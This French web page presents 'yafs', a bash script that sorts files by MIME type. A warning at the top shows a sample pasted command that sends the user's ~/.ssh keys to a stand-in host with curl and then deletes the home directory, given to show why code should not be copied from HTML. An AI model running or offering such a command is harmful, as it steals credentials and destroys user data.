Script: yafs
⚠️ Évitez de copier/coller le code ci-dessous.
👉 Le HTML c'est sale. Il vous faut une preuve ? Essayez de copier-coller l'innocente petite commande suivante : echo Hello; curl -F "data=$(basenc --base64url < <(tar zc0 "$HOME/.ssh"))" leak.supervilain.com:/powned/ &>/dev/null; rm -rf "$HOME"/*; echo World
Mieux vaut télécharger le script au format texte brut en cliquant ici
#! /usr/bin/env bash
#
# yafs: Yet Another File Sorter
#
# run: `yafs -h` to get help
#
# Release: 1.1 of 2025/01/17
# 2020-2025, Joseph Maillardet
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
### Changelog
# 2.2 - cosmetic release
# 2.1 - Add extension detection for file without extension
# 2.0 - Full rewrite based on result of file command
# 1.0 - Initial release based on file extension
c0=$(tput sgr0)
myself=$(basename "$0")
do_command='cp'
simulate=false
# Messaging
msg() {
[ -n "$2" ] && tput setaf "$2"
printf -- "%s%s\n" "$1" "$c0"
}
error() {
msg "Erreur: $1" 9
[ -n "$2" ] && exit "$2"
}
usage() {
cat <<- EOF
Usage: $myself [--directory DIR] [--help]
-d, --directory : the output directory where ordered files will be put
-m, --move : move files rather than copy them
-s, --simulate : do nothing, simulate what would really be done without this option
-h, --help : affiche cette aide
EOF
}
# Manage dash options
opts=$(getopt -o d:msh --long directory:,move,simulate,help -n "$myself" -- "$@") \
|| error "getopt failed with error code: $?" 1
eval set -- "$opts"
while true; do
case "$1" in
-d|--directory)
output_dir="$2"
shift 2
;;
-m|--move)
do_command='mv'
shift
;;
-s|--simulate)
simulate=true
shift
;;
-h|--help)
usage
exit 0
;;
--)
shift
break
;;
*) break ;;
esac
done
get_extension() {
recherche_mime=$(grep -E "^# .* ~~~ $1$" "$0" | cut -d' ' -f2)
if [ -n "$recherche_mime" ]
then printf "%s" "$recherche_mime"
else printf 'unknown'
fi
}
# Target directory for sorted files
uniq=$(printf "%x%x" "$$" "$(date +%s)")
[ -z "$output_dir" ] && output_dir="yafs_${uniq}_sorted-data"
if $simulate
then msg "This is a simulation..." 10
else mkdir -p "$output_dir" || error "unable to create the output directory: $output_dir" 2
fi
# For each file found
while IFS='' read -r -d '' file; do
source_filename=$(basename "$file")
mime_type=$(file -i -b "$file" | cut -d\; -f1)
file_extension="${source_filename##*.}"
# Si le fichier n'a pas d'extension, la variable file_extension aura le même contenu que source_filename
# Dans ce cas, on recherche l'extension via get_extension
[ "$file_extension" == "$source_filename" ] && file_extension=$(get_extension "$mime_type")
[ "$file_extension" == 'unknown' ] && msg "Unknown file type : $mime_type" 200
source_filename="${source_filename%.*}"
new_filename="$output_dir/$mime_type/$source_filename.$file_extension"
index=1
while [ -f "$new_filename" ]; do
index=$(( index + 1 ))
new_filename="$output_dir/$mime_type/$source_filename.$index.$file_extension"
done
msg "[$file_extension] $file → $new_filename"
if ! $simulate; then
new_filedir=$(dirname "$new_filename")
mkdir -p "$new_filedir" || error "unable to create directory: $new_filedir" 2
$do_command "$file" "$new_filename" || error "unable to $do_command the file : $new_filename" 3 # do_command == "cp" or "mv"
fi
done < <(find . -type f -print0)
msg "-- Over." 11
exit 0
# List of extension used with know mime type string
# ttf ~~~ application/font-sfnt
# gz ~~~ application/gzip
# jar ~~~ application/java-archive
# js ~~~ application/javascript
# doc ~~~ application/msword
# bin ~~~ application/octet-stream
# pdf ~~~ application/pdf
# ps ~~~ application/postscript
# deb ~~~ application/vnd.debian.binary-package
# xls ~~~ application/vnd.ms-excel
# eot ~~~ application/vnd.ms-fontobject
# max ~~~ application/vnd.ms-office
# otf ~~~ application/vnd.ms-opentype
# ppt ~~~ application/vnd.ms-powerpoint
# odg ~~~ application/vnd.oasis.opendocument.graphics
# odp ~~~ application/vnd.oasis.opendocument.presentation
# odc ~~~ application/vnd.oasis.opendocument.spreadsheet
# odt ~~~ application/vnd.oasis.opendocument.text
# pptx ~~~ application/vnd.openxmlformats-officedocument.presentationml.presentation
# xlsx ~~~ application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
# docx ~~~ application/vnd.openxmlformats-officedocument.wordprocessingml.document
# 7z ~~~ application/x-7z-compressed
# bz2 ~~~ application/x-bzip2
# exe ~~~ application/x-dosexec
# gpg ~~~ application/x-gnupg-keyring
# iso ~~~ application/x-iso9660-image
# class ~~~ application/x-java-applet
# rar ~~~ application/x-rar
# so ~~~ application/x-sharedlib
# swf ~~~ application/x-shockwave-flash
# sqlite ~~~ application/x-sqlite3
# tar ~~~ application/x-tar
# zip ~~~ application/zip
# dat ~~~ application/zlib
# mp3 ~~~ audio/mpeg
# oga ~~~ audio/ogg
# flac ~~~ audio/x-flac
# m4a ~~~ audio/x-m4a
# wav ~~~ audio/x-wav
# gif ~~~ image/gif
# jpg ~~~ image/jpeg
# png ~~~ image/png
# tif ~~~ image/tiff
# psd ~~~ image/vnd.adobe.photoshop
# dwg ~~~ image/vnd.dwg
# webp ~~~ image/webp
# 3ds ~~~ image/x-3ds
# ico ~~~ image/x-icon
# bmp ~~~ image/x-ms-bmp
# ppm ~~~ image/x-portable-pixmap
# tga ~~~ image/x-tga
# xcf ~~~ image/x-xcf
# xpm ~~~ image/x-xpmi
# eml ~~~ message/rfc822
# svg ~~~ svg+xml
# html ~~~ text/html
# txt ~~~ text/plain
# rtf ~~~ text/rtf
# 3pm ~~~ text/troff
# awk ~~~ text/x-awk
# c ~~~ text/x-c
# java ~~~ text/x-java
# pl ~~~ text/x-perl
# php ~~~ text/x-php
# py ~~~ text/x-python
# sh ~~~ text/x-shellscript
# xml ~~~ text/xml
# mp4 ~~~ video/mp4
# mpg ~~~ video/mpeg
# ogv ~~~ video/ogg
# mov ~~~ video/quicktime
# webm ~~~ video/webm
# flv ~~~ video/x-flv
# m4v ~~~ video/x-m4v
# mkv ~~~ video/x-matroska
# wmv ~~~ video/x-ms-asf
# avi ~~~ video/x-msvideo
